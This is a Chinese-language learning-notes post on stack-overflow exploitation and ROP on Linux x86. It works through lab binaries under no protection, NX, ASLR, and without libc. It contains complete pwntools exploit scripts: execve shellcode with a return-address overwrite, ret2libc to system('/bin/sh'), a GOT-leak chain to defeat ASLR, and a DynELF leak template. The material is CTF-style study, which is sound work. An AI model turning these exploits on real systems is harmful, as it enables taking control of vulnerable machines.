一步一步学ROP Linux x86 学习笔记
一、无任何防护
二、开启DEP
三、开启DEP和ASLR
四、开启DEP和ASLR,无libc
一步一步学ROP Linux x86 学习笔记
这部分文章主要依据的是蒸米大神的一步一步学ROP
系列文章,我也是跟着做的,本文主要记录其中的问题和实验没有成功的地方。
一、无任何防护
在github可以找到相关的资料,不用自己编译漏洞代码了,也有写好的exp。
从最基础的开始,先学无任何防护的栈溢出。使用checksec看一下防护:
那就简单了,直接用shellcode打就可以,这里要注意一下覆盖的返回地址可以设置为buf的起始地址, 然后把shellcode放在buf里,但是这个buf的地址不能通过gdb直接调试得到,因为gdb调试会影响buf的位置,即使我们关闭了Linux的ASLR。根据蒸米的文章,就是开启core dump这个功能。
开启之后,当出现内存错误的时候,就会在tmp文件夹下生成一个core dump文件,然后用gdb加载调试就可以得到buf在内存中的固定地址:
然后就坑了,本地调试一直没有打通,使用socat放在远程,还是通过core dump得到远程buf地址,再用相同的exp打就成功了,exp如下:
#!/usr/bin/env python
from pwn import *
# p = process(‘./level1‘)
p = remote(‘127.0.0.1‘,10008)
ret = 0xffffcec0
# execve ("/bin/sh")
# xor ecx, ecx
# mul ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx, esp
# mov al, 11
# int 0x80
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = shellcode + ‘A‘ * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()
十分奇怪,,,
二、开启DEP
栈不可以执行,在Windows中DEP,在Linux中叫NX,看一下level2的保护:
栈不可以执行之后,shellcode就没法用了,所以考虑使用系统调用开一个shell。所以我们需要解决三件事:
· 获取system地址
· 获取参数/bin/sh地址
· 如何执行system函数
本题假设还是ASLR关闭的情况,所以system函数在内存中的地址是固定的,同时参数/bin/sh的地址也是固定的。通过peda插件,分别找到这两者的地址:
然后返回地址布置为system的内存中地址,给出exp:
from pwn import *
sh = process("./level2")
systemaddr = 0xf7e31020
binaddr = 0xf7f557cf
junk = ‘a‘*136
fakebp = ‘a‘*4
shellcode = ""
shellcode += junk+fakebp
shellcode += p32(systemaddr)
shellcode += p32(1111)
shellcode += p32(binaddr)
sh.send(shellcode)
sh.interactive()
这次本地测试就拿到shell了,还是没有搞懂level1的本地测试失败的问题:
三、开启DEP和ASLR
开启ASLR之后,第二部分直接在内存中找system和参数地址的方法就无法使用了,不过总体思路还是执行system开一个shell。
思路是通过write函数泄露出write函数在内存中地址,然后根据libc计算出system在内存中的地址,参数地址可以通过同样的方法获取。然后布置返回地址为漏洞函数的地址(程序本身在内存中地址不是随机的
),溢出两次,第二次实行system,获取shell,给出exp:
from pwn import *
# sh = process("./level2")
sh = remote("127.0.0.1",10008)
libc = ELF("libc.so")
elf = ELF("level2")
# offset
readoffset = libc.symbols[‘read‘]
writeoffset = libc.symbols[‘write‘]
systemoffset = libc.symbols[‘system‘]
binoffset = 0x0015F7CF
# plt
readplt = elf.plt[‘read‘]
writeplt = elf.plt[‘write‘]
# got
readgot = elf.got[‘read‘]
writegot = elf.got[‘write‘]
# lead the address of write
payload = ""
vulfun = 0x8048436
junk = ‘a‘*136
fakebp = ‘a‘*4
payload += junk + fakebp
payload += p32(writeplt) + p32(vulfun) + p32(1) + p32(writegot) + p32(4)
sh.send(payload)
writeaddress = u32(sh.recv(4))
# calc the system and /bin/sh
systemadress = writeaddress - writeoffset + systemoffset
binaddress = writeaddress - writeoffset + binoffset
payload2 = ""
payload2 += junk + fakebp
payload2 += p32(systemadress) + p32(1) + p32(binaddress)
sh.send(payload2)
sh.interactive()
本地测试通过之后,试试远程打一下
通过socat命令:
socat TCP4-LISTEN:10008,fork EXEC:./level2
同样成功:
四、开启DEP和ASLR,无libc
当开启DEP和ASLR,并且没有libc的时候,第三部的方法也不好使了,不过这种情况也是老套路了。
使用pwntools的DynELF去泄露system的内存地址,然后调用read函数想.bss段中写入"/bin/sh",然后调用system即可。
多说一下DynELF模块的使用方法吧,这是基本的模板:
p = process(‘./xxx‘)
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4)
log.debug("%#x => %s" % (address, (data or ‘‘).encode(‘hex‘)))
return data
d = DynELF(leak, elf=ELF("./xxx")) #初始化DynELF模块
systemAddress = d.lookup(‘system‘, ‘libc‘) #在libc文件中搜索system函数的地址
该模块是pwntools专门用来应对没有libc的情况的。